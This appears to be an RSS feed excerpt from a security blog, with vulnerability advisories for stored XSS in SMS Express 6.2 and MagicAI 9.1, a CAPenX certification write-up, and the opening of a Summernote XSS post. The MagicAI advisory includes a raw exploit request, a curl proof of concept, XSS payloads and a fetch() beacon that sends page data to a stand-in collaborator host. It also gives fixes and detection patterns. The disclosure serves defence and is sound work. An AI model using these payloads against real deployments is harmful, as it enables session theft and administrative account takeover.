<p><strong>iNiLabs School Express – School Management System (SMS Express) 6.2</strong> is affected by a <strong>stored cross-site scripting (XSS)</strong> vulnerability. The issue exists because user-supplied input (e.g., announcement fields) is not properly sanitized before being stored in the backend database. When rendered in the dashboard or user-facing pages, malicious payloads (e.g., <code>&lt;details/open/ontoggle=alert(1)&gt;</code>) execute in the victim’s browser. This allows authenticated attackers to perform arbitrary JavaScript execution, leading to session hijacking, privilege escalation, data exfiltration, and administrative account takeover. The application does not implement sufficient sanitization or a restrictive Content-Security-Policy (CSP).</p>
</blockquote>
<p><strong>CVE ID:</strong> CVE-2025-57205<br /><strong>Discovered by:</strong> <a target="_blank" href="https://www.linkedin.com/in/michael-k-83b0627b/">Michael Kim</a> &amp; Sergio Medeiros</p>
<hr />
<h2 id="heading-disclosure-timeline">Disclosure Timeline</h2>
<ul>
<li><p><strong>Discovery:</strong> Vulnerability identified during penetration testing of SMS Express 6.2.</p>
</li>
<li><p><strong>Vendor notification:</strong> Report sent to iNiLabs via email.</p>
</li>
<li><p><strong>Current status:</strong> Awaiting vendor response (as of September 20, 2025).</p>
</li>
</ul>
<hr />
]]></content:encoded></item><item><title><![CDATA[CVE-2025-57203: Stored XSS in MagicAI 9.1 (AI Chat) Enables Arbitrary JavaScript Execution]]></title><description><![CDATA[Discovered by: Michael Kim & Sergio MedeirosVendor: LiquidThemesProduct: MagicAI (a.k.a. MagicProject AI)Affected version: 9.1 (other versions untested)Impact: Arbitrary JavaScript execution in users’ browsers (stored XSS)Attack type: Authenticated r...]]></description><link>https://grumpz.net/cve-2025-57203-stored-xss-in-magicai-91-ai-chat-enables-arbitrary-javascript-execution</link><guid isPermaLink="true">https://grumpz.net/cve-2025-57203-stored-xss-in-magicai-91-ai-chat-enables-arbitrary-javascript-execution</guid><category><![CDATA[CVE]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[hacking]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[hacker]]></category><category><![CDATA[penetration testing]]></category><category><![CDATA[Bugs and Errors]]></category><category><![CDATA[XSS]]></category><category><![CDATA[PHP]]></category><category><![CDATA[Developer]]></category><dc:creator><![CDATA[Sergio Medeiros]]></dc:creator><pubDate>Sat, 20 Sep 2025 20:03:10 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/SCwbIVG4vhA/upload/90e3453fafb0bb16d994139dd026e908.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Discovered by:</strong> <a target="_blank" href="https://www.linkedin.com/in/michael-k-83b0627b/">Michael Kim</a> &amp; <a target="_blank" href="https://www.linkedin.com/in/sergiomedeiros8/">Sergio Medeiros</a><br /><strong>Vendor:</strong> LiquidThemes<br /><strong>Product:</strong> MagicAI (a.k.a. MagicProject AI)<br /><strong>Affected version:</strong> 9.1 (other versions untested)<br /><strong>Impact:</strong> Arbitrary JavaScript execution in users’ browsers (stored XSS)<br /><strong>Attack type:</strong> Authenticated remote (admin)<br /><strong>Component:</strong> AI Chat – “chatbot generation” feature<br /><strong>Status:</strong> Vendor notified by email; no response received as of September 20, 2025 (PT)</p>
<p>MagicAI is a commercial SaaS kit for AI-powered content, chat, and media generation sold by <strong>LiquidThemes</strong>. Its official documentation and CodeCanyon listing describe an AI content and chat platform deployed by end-customers on their own servers. (<a target="_blank" href="https://docs.magicproject.ai/">MagicAI Documentation</a>)</p>
<hr />
<h2 id="heading-executive-summary-for-decision-makers">Executive summary (for decision-makers)</h2>
<p>A <strong>stored cross-site scripting (XSS)</strong> flaw in MagicAI <strong>9.1</strong> allows an authenticated administrator to inject HTML/JS via the <strong>chatbot generation “prompt”</strong> field. The payload is stored and later rendered unsanitized when viewing chatbot output, causing JavaScript to run in any viewer’s browser (including other admins). This enables account takeover via session riding or token theft, forced administrative actions, and data exfiltration.</p>
<ul>
<li><p><strong>CVE:</strong> CVE-2025-57203</p>
</li>
<li><p><strong>CWE:</strong> CWE-79 (Improper Neutralization of Input During Web Page Generation)</p>
</li>
<li><p><strong>Severity:</strong> High (authenticated stored XSS with admin reach and no CSP)</p>
</li>
<li><p><strong>Likely blast radius:</strong> All tenants/users who can view generated chatbot content in the affected instance</p>
</li>
</ul>
<hr />
<h2 id="heading-tldr-whats-exploitable">TL;DR (what’s exploitable)</h2>
<ul>
<li><p><strong>Endpoint:</strong> <code>POST /dashboard/user/generator/generate-stream</code></p>
</li>
<li><p><strong>Parameter:</strong> <code>prompt</code> (multipart/form-data)</p>
</li>
<li><p><strong>Example payload:</strong> <code>&lt;details/open/ontoggle=alert(1)&gt;</code></p>
</li>
<li><p><strong>Trigger:</strong> Open the generated chatbot output page; the stored payload executes.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758398091227/1c06cb16-9dd9-49ac-a54f-38ed214f8063.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-yaml"><span class="hljs-string">POST</span> <span class="hljs-string">/dashboard/user/generator/generate-stream</span> <span class="hljs-string">HTTP/2</span>
<span class="hljs-attr">Host:</span> <span class="hljs-string">demo.magicproject.ai</span>
<span class="hljs-attr">Cookie:</span> <span class="hljs-string">&lt;snipped&gt;</span>
<span class="hljs-attr">User-Agent:</span> <span class="hljs-string">Mozilla/5.0</span> <span class="hljs-string">(X11;</span> <span class="hljs-string">Linux</span> <span class="hljs-string">x86_64;</span> <span class="hljs-string">rv:128.0)</span> <span class="hljs-string">Gecko/20100101</span> <span class="hljs-string">Firefox/128.0</span>
<span class="hljs-attr">Accept:</span> <span class="hljs-string">text/event-stream</span>
<span class="hljs-attr">Accept-Language:</span> <span class="hljs-string">en-US,en;q=0.5</span>
<span class="hljs-attr">Accept-Encoding:</span> <span class="hljs-string">gzip,</span> <span class="hljs-string">deflate,</span> <span class="hljs-string">br</span>
<span class="hljs-attr">Referer:</span> <span class="hljs-string">https://demo.magicproject.ai/dashboard/user/openai/chat/ai-chat/career-counselor</span>
<span class="hljs-attr">X-Csrf-Token:</span> <span class="hljs-string">OSPJdFDYo70unSHTRzq1Dx2Zwg1xondMWsWASQAo</span>
<span class="hljs-attr">Content-Type:</span> <span class="hljs-string">multipart/form-data;</span> <span class="hljs-string">boundary=---------------------------36975424121810644822419014182</span>
<span class="hljs-attr">Content-Length:</span> <span class="hljs-number">1498</span>
<span class="hljs-attr">Origin:</span> <span class="hljs-string">https://demo.magicproject.ai</span>
<span class="hljs-attr">Sec-Fetch-Dest:</span> <span class="hljs-string">empty</span>
<span class="hljs-attr">Sec-Fetch-Mode:</span> <span class="hljs-string">cors</span>
<span class="hljs-attr">Sec-Fetch-Site:</span> <span class="hljs-string">same-origin</span>
<span class="hljs-attr">Priority:</span> <span class="hljs-string">u=0</span>
<span class="hljs-attr">Te:</span> <span class="hljs-string">trailers</span>

<span class="hljs-string">-----------------------------36975424121810644822419014182</span>
<span class="hljs-attr">Content-Disposition:</span> <span class="hljs-string">form-data;</span> <span class="hljs-string">name="template_type"</span>

<span class="hljs-string">chatbot</span>
<span class="hljs-string">-----------------------------36975424121810644822419014182</span>
<span class="hljs-attr">Content-Disposition:</span> <span class="hljs-string">form-data;</span> <span class="hljs-string">name="prompt"</span>

<span class="hljs-string">&lt;details/open/ontoggle=alert(1)&gt;</span>
<span class="hljs-string">-----------------------------36975424121810644822419014182</span>
<span class="hljs-attr">Content-Disposition:</span> <span class="hljs-string">form-data;</span> <span class="hljs-string">name="chat_id"</span>
</code></pre>
<hr />
<h2 id="heading-how-we-found-it-step-by-step-methodology">How we found it — step-by-step methodology</h2>
<blockquote>
<p>The flow below is reproducible on a stock MagicAI 9.1 installation. Perform testing only on environments you own or are authorized to test.</p>
</blockquote>
<ol>
<li><p><strong>Establish admin context</strong><br /> Log in as an administrative user in MagicAI. Navigate to the <strong>Dashboard → Generators → Chatbot</strong> (wording may vary by build/locale). Documentation confirms MagicAI’s AI Chat features exist and are configurable by admins. (<a target="_blank" href="https://docs.magicproject.ai/">MagicAI Documentation</a>)</p>
</li>
<li><p><strong>Identify the submission endpoint</strong><br /> Using the browser’s Network tab, observe that submitting a new chatbot involves a <code>multipart/form-data</code> POST to:</p>
<pre><code class="lang-yaml"> <span class="hljs-string">/dashboard/user/generator/generate-stream</span>
</code></pre>
<p> The request includes a <code>prompt</code> field that carries the natural-language instruction used to seed the bot.</p>
</li>
<li><p><strong>Probe for client/server filtering</strong><br /> Submit harmless HTML markers (e.g., <code>&lt;i&gt;probe&lt;/i&gt;</code>) as the <code>prompt</code>. Save and open any page where the generated chatbot output is displayed (preview or listing). The text renders as HTML, indicating the value is stored and later <strong>injected into an HTML context</strong> without escaping.</p>
</li>
<li><p><strong>Escalate to event-bearing HTML</strong><br /> Replace the probe with an HTML element that fires an event without <code>&lt;script&gt;</code>, for example:</p>
<pre><code class="lang-html"> <span class="hljs-tag">&lt;<span class="hljs-name">details</span>/<span class="hljs-attr">open</span>/<span class="hljs-attr">ontoggle</span>=<span class="hljs-string">alert(1)</span>&gt;</span>
</code></pre>
<p> This uses a <strong>non-script tag</strong> with an event handler—useful when <code>&lt;script&gt;</code> is filtered but attributes aren’t.</p>
</li>
<li><p><strong>Confirm persistence (stored XSS)</strong><br /> Reload any page that renders the chatbot’s output (e.g., the bot preview). The <code>alert(1)</code> dialog fires in the browser <strong>without further interaction</strong>, confirming a <strong>stored</strong> XSS, not merely reflected.</p>
</li>
<li><p><strong>Assess containment and CSP</strong><br /> Check response headers for a <strong>Content-Security-Policy (CSP)</strong>. In the tested instance, no effective CSP blocked inline event handlers. Without CSP nonces/hashes and <code>strict-dynamic</code>, <strong>inline JS executes freely</strong>, heightening impact.</p>
</li>
<li><p><strong>Demonstrate impact safely</strong><br /> Replace <code>alert(1)</code> with a benign beacon to your logging endpoint to prove arbitrary JS execution (keep it non-destructive and private during testing):</p>
<pre><code class="lang-html"> <span class="hljs-tag">&lt;<span class="hljs-name">details</span> <span class="hljs-attr">open</span> <span class="hljs-attr">ontoggle</span>=<span class="hljs-string">fetch(</span>'<span class="hljs-attr">https:</span>//<span class="hljs-attr">your-collab.example</span>/<span class="hljs-attr">xss</span>?<span class="hljs-attr">q</span>=<span class="hljs-string">'+encodeURIComponent(location.href))&gt;</span></span>
</code></pre>
<p> In real-world conditions, an attacker could:</p>
<ul>
<li><p><strong>Perform privileged actions</strong> as the victim (CSRF-style with full DOM context).</p>
</li>
<li><p><strong>Exfiltrate access tokens</strong> stored in the page or <strong>localStorage</strong> (if used).</p>
</li>
<li><p><strong>Install a DOM hook</strong> to persist control over admin workflows.</p>
</li>
</ul>
</li>
</ol>
<hr />
<h2 id="heading-reproduction-curl-poc">Reproduction (curl PoC)</h2>
<blockquote>
<p>Replace boundary and cookie values with those from your authenticated session. This is a safe demo payload that only pops an alert.</p>
</blockquote>
<pre><code class="lang-bash">curl -i -sS -k \
  -H <span class="hljs-string">'Cookie: &lt;your_admin_session_cookie&gt;'</span> \
  -H <span class="hljs-string">'Content-Type: multipart/form-data; boundary=----x'</span> \
  --data-binary $<span class="hljs-string">'------x\r\nContent-Disposition: form-data; name="prompt"\r\n\r\n&lt;details open ontoggle=alert(1)&gt;\r\n------x--\r\n'</span> \
  https://&lt;your-magicai-host&gt;/dashboard/user/generator/generate-stream
</code></pre>
<p>Then navigate to the chatbot’s preview/output page. The alert confirms execution.</p>
<hr />
<h2 id="heading-why-this-happens-root-cause">Why this happens (root cause)</h2>
<ul>
<li><p><strong>Untrusted input</strong> from <code>prompt</code> is stored server-side and later <strong>rendered as HTML</strong> in a browser context.</p>
</li>
<li><p><strong>No output encoding</strong> (e.g., <code>&amp;</code>, <code>&lt;</code>, <code>&gt;</code>, <code>"</code>, <code>'</code>) occurs prior to HTML injection.</p>
</li>
<li><p><strong>No effective CSP</strong> is present to block inline event handlers or <code>javascript:</code> URLs.</p>
</li>
<li><p>The rendering path likely uses a template or DOM sink (e.g., <code>innerHTML</code>) that <strong>trusts the stored content</strong>.</p>
</li>
</ul>
<hr />
<h2 id="heading-risk-amp-real-world-abuse-scenarios">Risk &amp; real-world abuse scenarios</h2>
<ul>
<li><p><strong>Admin-on-Admin compromise:</strong> In teams with multiple admins or SSO-provisioned staff, a single malicious admin account can implant payloads that execute for every other admin viewing the bot.</p>
</li>
<li><p><strong>Session riding &amp; data theft:</strong> JavaScript can perform state-changing POSTs, alter pricing/plans, or export data via the authenticated UI. If tokens are exposed to the DOM or localStorage, <strong>account takeover</strong> follows.</p>
</li>
<li><p><strong>Extension to other roles:</strong> Any role capable of viewing the generated chatbot output becomes a target. Multi-tenant deployments expand the blast radius.</p>
</li>
</ul>
<hr />
<h2 id="heading-affected-scope">Affected scope</h2>
<ul>
<li>Confirmed on <strong>MagicAI 9.1</strong>. Other versions may be affected but were not tested in this advisory.</li>
</ul>
<hr />
<h2 id="heading-mitigations-amp-vendor-guidance">Mitigations &amp; vendor guidance</h2>
<p><strong>1) Encode on output (primary fix)</strong></p>
<ul>
<li><p>Treat all user-controlled fields (including admin-entered content) as untrusted.</p>
</li>
<li><p><strong>HTML-encode</strong> before insertion into the DOM or templates. Use your templating engine’s <strong>auto-escaping</strong> features by default.</p>
</li>
</ul>
<p><strong>2) Sanitize when you must allow HTML</strong></p>
<ul>
<li><p>If rich text is required, sanitize with a <strong>strict allow-list</strong> (e.g., DOMPurify with <code>ALLOWED_TAGS</code>/<code>ALLOWED_ATTR</code>).</p>
</li>
<li><p><strong>Disallow event attributes</strong> (<code>on*</code>), <code>javascript:</code> URLs, iframes, and SVG/MathML unless strictly necessary.</p>
</li>
</ul>
<p><strong>3) Enforce a strong CSP (defense-in-depth)</strong></p>
<ul>
<li><p>Use <code>Content-Security-Policy</code> with <strong>nonces</strong>/hashes and <code>strict-dynamic</code>; disable <code>unsafe-inline</code>.</p>
</li>
<li><p>Example starting point:</p>
<pre><code class="lang-javascript">  <span class="hljs-keyword">default</span>-src <span class="hljs-string">'self'</span>; base-uri <span class="hljs-string">'none'</span>; object-src <span class="hljs-string">'none'</span>;
  script-src <span class="hljs-string">'nonce-&lt;random&gt;'</span> <span class="hljs-string">'strict-dynamic'</span>;
  frame-ancestors <span class="hljs-string">'none'</span>; upgrade-insecure-requests
</code></pre>
<p>  (Adapt to your asset pipeline; ensure all inline scripts are nonce’d.)</p>
</li>
</ul>
<p><strong>4) Remove dangerous sinks</strong></p>
<ul>
<li><p>Replace <code>innerHTML</code>/dangerous rendering with <strong>textContent</strong> or safe binders.</p>
</li>
<li><p>Centralize render helpers so escaping rules are never bypassed ad hoc.</p>
</li>
</ul>
<p><strong>5) Add regression tests</strong></p>
<ul>
<li><p>Unit/functional tests that submit <code>&lt;img src=x onerror=alert(1)&gt;</code> or <code>&lt;details/open/ontoggle=prompt(1&gt;</code> variants and assert <strong>no execution</strong>.</p>
</li>
<li><p>Include these in CI for every view that renders chatbot content.</p>
</li>
</ul>
<p><strong>6) Operational controls (until patched)</strong></p>
<ul>
<li><p>Temporarily <strong>disable the chatbot generation feature</strong> for non-essential admins.</p>
</li>
<li><p>Flag or strip HTML from <code>prompt</code> server-side as an interim hotfix.</p>
</li>
<li><p>Deploy a <strong>WAF rule</strong> to detect event attributes (<code>\bon\w+=</code>) in multipart fields (helpful but bypassable).</p>
</li>
</ul>
<hr />
<h2 id="heading-detection-amp-triage">Detection &amp; triage</h2>
<ul>
<li><p><strong>Server logs / DB:</strong> Search chatbot content tables/fields for suspicious substrings (e.g., <code>&lt;details</code>, <code>&lt;img</code>, <code>onerror=</code>, <code>ontoggle=</code>, <code>javascript:</code>).</p>
</li>
<li><p><strong>Browser console errors:</strong> Clusters of CSP or DOM-based warnings (once CSP is enabled) indicate attempted exploits.</p>
</li>
<li><p><strong>Analytics/telemetry:</strong> Unexpected outbound requests from admin views (e.g., to attacker domains) following chatbot page loads.</p>
</li>
</ul>
<hr />
<h2 id="heading-timeline-amp-disclosure">Timeline &amp; disclosure</h2>
<ul>
<li><p><strong>Initial discovery:</strong> By <strong>Michael Kim</strong> and <strong>Sergio Medeiros</strong> during routine admin-side testing of MagicAI 9.1.</p>
</li>
<li><p><strong>Vendor contact:</strong> Notification sent via email to LiquidThemes.</p>
</li>
<li><p><strong>Current status:</strong> <strong>No vendor response</strong> as of <strong>September 20, 2025</strong> (America/Los_Angeles).</p>
</li>
<li><p><strong>Identifier:</strong> <strong>CVE-2025-57203</strong>.</p>
</li>
</ul>
<hr />
<h2 id="heading-formal-cve-description-for-databases">Formal CVE description (for databases)</h2>
<blockquote>
<p><strong>MagicAI (MagicProject AI) 9.1</strong> by <strong>LiquidThemes</strong> is affected by a <strong>stored cross-site scripting (XSS)</strong> vulnerability in the <strong>chatbot generation</strong> feature available to authenticated admin users. The flaw resides in the <code>prompt</code> parameter submitted to <code>/dashboard/user/generator/generate-stream</code> via a <strong>multipart/form-data</strong> POST request. Due to insufficient input sanitization and lack of output encoding, attackers can inject HTML-based JavaScript payloads such as <code>&lt;details open ontoggle=alert(1)&gt;</code>. The payload is stored and rendered unsanitized in subsequent views, executing in other users’ browsers when they access affected content. This permits arbitrary JavaScript execution in the context of another user, enabling session hijacking, privilege escalation, data exfiltration, or administrative account takeover. The application does not implement a restrictive Content Security Policy (CSP). A fix should include proper sanitization, output encoding, and strong CSP enforcement.</p>
</blockquote>
<p><strong>Reference:</strong> Product listing &amp; docs: MagicAI by LiquidThemes. (<a target="_blank" href="https://codecanyon.net/item/magicai-openai-content-text-image-chat-code-generator-as-saas/45408109?srsltid=AfmBOoro7SdYvvxHHHJ_FVGq0lPiAgh2BhSZ6eRKBv1_MyRa0TgtLuZO&amp;utm_source=chatgpt.com">CodeCanyon</a>)</p>
<hr />
<h2 id="heading-faq">FAQ</h2>
<p><strong>Is this server-side code execution (RCE)?</strong><br />No. This is <strong>browser code execution</strong> (stored XSS). However, with admin context it can be devastating—privileged actions, data access, and potential full administrative takeover.</p>
<p><strong>Does filtering</strong> <code>&lt;script&gt;</code> tags fix it?<br />Not by itself. Modern XSS avoids <code>&lt;script&gt;</code> using event attributes, SVG, <code>srcdoc</code>, <code>javascript:</code> URLs, etc. Use allow-list sanitization and output encoding; back it up with a strict CSP.</p>
<p><strong>We only have one admin—are we safe?</strong><br />Not necessarily. A compromised or shared admin account can implant payloads that persist and execute later, including against future administrators.</p>
<hr />
<h2 id="heading-acknowledgments">Acknowledgments</h2>
<ul>
<li><p><strong>Discovery &amp; research:</strong> <strong>Michael Kim</strong> and <strong>Sergio Medeiros</strong></p>
</li>
<li><p><strong>Report author / advisory preparation:</strong> grumpz (blog)</p>
</li>
</ul>
<hr />
<h2 id="heading-suggested-seo-metadata-drop-in">Suggested SEO metadata (drop-in)</h2>
<p><strong>Title:</strong> CVE-2025-57203 — Stored XSS in MagicAI 9.1 (MagicProject AI) Enables Arbitrary JavaScript Execution<br /><strong>Meta description (≤160 chars):</strong> MagicAI 9.1 stored XSS (CVE-2025-57203) lets admins inject JS via chatbot prompts. Impact: account takeover. Fix: encode, sanitize, CSP.<br /><strong>Keywords:</strong> MagicAI vulnerability, MagicProject AI, LiquidThemes, CVE-2025-57203, stored XSS, AI Chat, generate-stream, admin takeover, CSP, DOMPurify</p>
<hr />
<h3 id="heading-references">References</h3>
<ul>
<li><p>MagicAI documentation &amp; vendor attribution (LiquidThemes), with pointers to listing and support links. (<a target="_blank" href="https://docs.magicproject.ai/">MagicAI Documentation</a>)</p>
</li>
<li><p>CodeCanyon product page (MagicAI by LiquidThemes). (<a target="_blank" href="https://codecanyon.net/item/magicai-openai-content-text-image-chat-code-generator-as-saas/45408109?srsltid=AfmBOoro7SdYvvxHHHJ_FVGq0lPiAgh2BhSZ6eRKBv1_MyRa0TgtLuZO&amp;utm_source=chatgpt.com">CodeCanyon</a>)</p>
</li>
</ul>
<hr />
<blockquote>
<p>If you run MagicAI in production, <strong>treat this as a priority</strong>: remove HTML rendering from <code>prompt</code> outputs, ship a strict CSP with nonces, and add automated tests before re-enabling rich content.</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[My Journey to Passing the CAPenX Certification: A Guide for Aspiring Expert-Level AppSec Pentesters]]></title><description><![CDATA[Introduction: As a seasoned cybersecurity researcher and penetration tester, I am constantly on the lookout for certifications that sharpen my skills and keep me at the forefront of web application se]]></description><link>https://grumpz.net/my-journey-to-passing-the-capenx-certification-a-guide-for-aspiring-expert-level-appsec-pentesters</link><guid isPermaLink="true">https://grumpz.net/my-journey-to-passing-the-capenx-certification-a-guide-for-aspiring-expert-level-appsec-pentesters</guid><category><![CDATA[software development]]></category><category><![CDATA[hacking]]></category><category><![CDATA[Bugs and Errors]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Devops]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[penetration testing]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[bugbountytips]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[PHP]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[javascript framework]]></category><category><![CDATA[Security]]></category><category><![CDATA[securityawareness]]></category><dc:creator><![CDATA[Sergio Medeiros]]></dc:creator><pubDate>Sun, 10 Nov 2024 03:51:34 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/zvHhKiVuR9M/upload/1fe35662d70937d5e71cd5c14845c3dd.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Introduction:</strong> As a seasoned <a href="https://grumpz.net/">cybersecurity researcher</a> and penetration tester, I am constantly on the lookout for certifications that sharpen my skills and keep me at the forefront of web application security. The Certified AppSec Pentesting Expert (<a href="https://pentestingexams.com/certifications/professional/certified-appsec-pentester/">CAPenX</a>) certification from SecOps Group offers just that. Known for its rigorous focus on advanced attack vectors, CAPenX is ideal for professionals aiming to push their web application pentesting skills to an expert level. Having successfully passed this exam, I’m excited to share my experience and insights to help others prepare for the challenge.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731210929886/9bdd31e7-1d82-40fb-8dea-15c823f15af2.png" alt="" style="display:block;margin:0 auto" />

<p><strong>CAPenX Certification Overview:</strong> The CAPenX certification is a hands-on, expert-level exam, designed to evaluate your ability to detect and exploit complex vulnerabilities in real-world scenarios. Unlike many certifications, CAPenX requires a deep understanding of attack vectors and a high degree of creativity in payload construction. The exam includes 10 flags spread across two vulnerable web applications, and candidates are expected to navigate through sophisticated vulnerabilities that often require tailored payloads.</p>
<p><strong>Complex Vulnerabilities Tested in CAPenX:</strong> The CAPenX certification goes beyond traditional vulnerabilities, testing candidates on highly specialized, intricate attack types. Here are the top vulnerabilities covered, which require advanced knowledge and custom-built payloads:</p>
<ol>
<li><p><strong>Password Reset Vulnerabilities</strong>: Candidates need to identify weak spots in the password reset functionality, which can be exploited for unauthorized access.</p>
</li>
<li><p><strong>Broken Access Control via API</strong>: Modern applications often use APIs extensively, and understanding how to detect and exploit broken access control in these interfaces is essential.</p>
</li>
<li><p><strong>Advanced Server-Side Request Forgery (SSRF)</strong>: This isn’t your typical SSRF; the exam challenges you to identify unique ways of bypassing restrictions and gaining access to internal resources.</p>
</li>
<li><p><strong>Command Injection</strong>: CAPenX tests your knowledge of exploiting command injection vulnerabilities, requiring you to execute OS commands via careful payload construction.</p>
</li>
<li><p><strong>SQL Injection</strong>: The exam dives deep into SQL injection, demanding a strong understanding of database interactions and the ability to bypass filters.</p>
</li>
<li><p><strong>Stored XSS Attack Chains</strong>: CAPenX doesn’t stop at simple XSS. Expect to create attack chains, where stored XSS vulnerabilities are combined with other flaws to achieve maximum impact.</p>
</li>
<li><p><strong>Race Conditions</strong>: Identifying and exploiting race conditions can be challenging. CAPenX requires candidates to leverage timing-based vulnerabilities to manipulate application logic.</p>
</li>
<li><p><strong>JWT Token Forging</strong>: The exam tests your knowledge of JSON Web Tokens (JWT), including techniques for forging or tampering with tokens to bypass authentication or authorization.</p>
</li>
<li><p><strong>In-Depth Enumeration</strong>: CAPenX demands thorough enumeration skills to uncover uncommon attack vectors, such as hidden parameters or sensitive information disclosures.</p>
</li>
<li><p><strong>Advanced XXE Attack Chains</strong>: This isn’t basic XXE; expect to chain XML External Entity vulnerabilities with other weaknesses to gain deeper access or execute more complex exploits.</p>
</li>
</ol>
<p>For those looking to practice, <a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a> offers labs on many of these advanced vulnerabilities. However, it’s important to note that simply “Googling” payloads won’t be enough. This exam requires a full understanding of how to exploit each vulnerability based on the specific application’s functionality and setup. Each payload, especially the advanced attack chains, needs to be custom-built, often after analyzing and experimenting with the application's behavior.</p>
<p><strong>Exam Format and Key Takeaways:</strong> CAPenX is a seven-hour, VPN-based, practical exam where candidates need to discover all 10 flags across two web applications. This hands-on approach tests not only your technical skills but also your problem-solving abilities under time pressure. The realistic setup simulates the experience of working on a client engagement, providing candidates with a close-to-real-world scenario.</p>
<p>The exam’s emphasis on crafting unique payloads is what sets it apart. With a range of modern vulnerabilities that cannot be exploited with generic payloads, CAPenX pushes you to think critically and approach each vulnerability from multiple angles. You’ll find that deep knowledge and adaptability are essential, as every test case demands a unique approach.</p>
<p><strong>Personal Experience and Challenges:</strong> Even with years of experience in red teaming and web application security, I found CAPenX both challenging and immensely rewarding. I faced vulnerabilities that required me to blend known techniques with a customized touch to exploit them. Here’s how I tackled some of the major areas:</p>
<ul>
<li><p><strong>Advanced SSRF and Command Injection</strong>: These challenges underscored the importance of understanding server behavior and crafting specific requests to trigger the vulnerabilities. I had to iterate through various payloads, adjusting each based on server responses, until I landed on one that worked.</p>
</li>
<li><p><strong>Stored XSS Attack Chains</strong>: The exam didn’t simply test my ability to find stored XSS—it required me to construct a full attack chain. This type of vulnerability combined with others added a new level of complexity, emphasizing the importance of chaining attacks for maximum impact.</p>
</li>
<li><p><strong>JWT Token Forging and Race Conditions</strong>: Exploiting JWT token vulnerabilities was particularly satisfying, as it required knowledge of token structure and encryption methods. Race conditions, on the other hand, demanded quick, timing-based testing and a solid understanding of concurrency in web applications.</p>
</li>
</ul>
<p><strong>Preparation Tips for Aspiring CAPenX Candidates:</strong></p>
<ol>
<li><p><strong>Practice In-Depth Enumeration</strong>: CAPenX rewards thoroughness. Practice identifying hidden parameters and access points through enumeration to locate uncommon vulnerabilities.</p>
</li>
<li><p><strong>Study API Security</strong>: Given the emphasis on API vulnerabilities, it’s essential to understand API authentication flaws, broken access control, and injection points. PortSwigger Web Academy, TryHackMe, and HackTheBox have excellent API-focused labs for practice.</p>
</li>
<li><p><strong>Master Payload Crafting</strong>: Effective payload creation is key. Practice building and modifying payloads to evade detection and exploit specific vulnerabilities. Focus on SSRF, XXE, and advanced injection techniques.</p>
</li>
<li><p><strong>Set Up a Personal Lab</strong>: Using tools like Burp Suite and OWASP ZAP, set up a personal lab to test these vulnerabilities in a controlled environment. Experiment with different combinations to see how vulnerabilities can be chained together.</p>
</li>
<li><p><strong>Research JWT and Token-Based Vulnerabilities</strong>: CAPenX challenges your understanding of JWT manipulation. Learn about JWT structure, signing, and encryption to prepare for token forging scenarios.</p>
</li>
</ol>
<p><strong>The Value of CAPenX in Professional Growth:</strong> Earning the CAPenX certification has been invaluable in honing my skills as an <a href="https://grumpz.net/finding-a-basic-rce-vulnerability-on-a-prominent-news-channel">AppSec expert</a>. It’s more than just a certification; it’s a badge of competence, demonstrating your ability to handle advanced attack vectors and construct custom payloads. For penetration testers and red teamers, CAPenX is a testament to your capability in application security and your readiness to take on sophisticated vulnerabilities in real-world engagements.</p>
<p><strong>Final Thoughts and Recommendations:</strong> Taking the CAPenX exam was a rigorous, fulfilling journey. It has expanded my understanding of application security and deepened my knowledge of attack chains. For anyone interested in pursuing CAPenX, be prepared to think creatively, understand vulnerabilities at a detailed level, and put in the time to craft unique payloads. This is not an exam you can pass by relying on existing payloads—it demands a complete understanding of the applications and how to exploit their specific functionalities. If you’re ready for the challenge, CAPenX is a certification that will undoubtedly enhance your skills and open doors in the AppSec industry.</p>
]]></content:encoded></item><item><title><![CDATA[CVE-2024-37629: Simple XSS Payload Exploits 0day Vulnerability in 10,000 Web Apps]]></title><description><![CDATA[Late one night, after working on a couple of bug bounty platforms, I decided to revisit a CVE I found last month. I realized that the web application had implemented the Summernote WYSIWYG Editor, which was the root cause of the stored XSS vulnerabil...]]></description><link>https://grumpz.net/cve-2024-37629-simple-xss-payload-exploits-0day-vulnerability-in-10000-web-apps</link><guid isPermaLink="true">https://grumpz.net/cve-2024-37629-simple-xss-payload-exploits-0day-vulnerability-in-10000-web-apps</guid><category><![CDATA[bugbounty]]></category><category><![CDATA[hacking]]></category><category><![CDATA[penetration testing]]></category><category><![CDATA[Bugs and Errors]]></category><category><![CDATA[Bootstrap]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[Javascript library]]></category><category><![CDATA[javascript framework]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[webdev]]></category><category><![CDATA[appsec]]></category><category><![CDATA[Application Security]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[ethicalhacking]]></category><category><![CDATA[CVE]]></category><dc:creator><![CDATA[Sergio Medeiros]]></dc:creator><pubDate>Wed, 12 Jun 2024 00:19:26 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/zvHhKiVuR9M/upload/f5850908b210f921c67d2526c5705952.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Late one night, after working on a couple of bug bounty platforms, I decided to revisit a CVE I found last month. I realized that the web application had implemented the <a target="_blank" href="https://summernote.org/">Summernote WYSIWYG Editor</a>, which was the root cause of the stored XSS vulnerabilities due to a failed implementation. With that in mind, I decided to examine the WYSIWYG Editor itself, considering the historical vulnerabilities tied to other editors like CKEditor and TinyMCE, which are known to suffer from similar issues.</p>
